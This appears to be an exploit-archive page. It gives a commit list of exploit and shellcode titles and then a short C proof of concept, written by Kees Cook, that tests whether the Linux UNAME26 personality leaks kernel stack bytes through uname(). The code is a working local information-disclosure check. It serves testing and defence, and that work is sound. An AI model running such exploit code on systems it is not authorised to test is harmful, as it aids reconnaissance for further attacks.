880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
70 lines
No EOL
1.4 KiB
C
70 lines
No EOL
1.4 KiB
C
/*
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source: https://www.securityfocus.com/bid/55855/info
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The Linux kernel is prone to a local information-disclosure vulnerability.
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Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.
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*/
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/* Test for UNAME26 personality uname kernel stack leak.
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* Copyright 2012, Kees Cook <keescook@chromium.org>
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* License: GPLv3
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <errno.h>
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#include <unistd.h>
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#include <sys/personality.h>
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#include <sys/utsname.h>
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#define UNAME26 0x0020000
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int dump_uts(void)
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{
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int i, leaked = 0;
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struct utsname buf = { };
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if (uname(&buf)) {
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perror("uname");
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exit(1);
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}
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printf("%s\n", buf.release);
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for (i = strlen(buf.release) + 1; i < sizeof(buf.release); i++) {
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unsigned char c = (unsigned char)buf.release[i];
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printf("%02x", c);
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if (c)
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leaked = 1;
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}
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printf("\n");
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return leaked ? (i - (strlen(buf.release) + 1)) : 0;
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}
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int main(int ac, char **av)
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{
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int leaked;
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leaked = dump_uts();
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if (leaked) {
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printf("Leaked %d bytes even without UNAME26!?\n", leaked);
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return 1;
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}
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if (personality(PER_LINUX | UNAME26) < 0) {
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perror("personality");
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exit(1);
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}
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leaked = dump_uts();
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if (leaked) {
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printf("Leaked %d bytes!\n", leaked);
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return 1;
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} else {
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printf("Seems safe.\n");
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return 0;
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}
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} |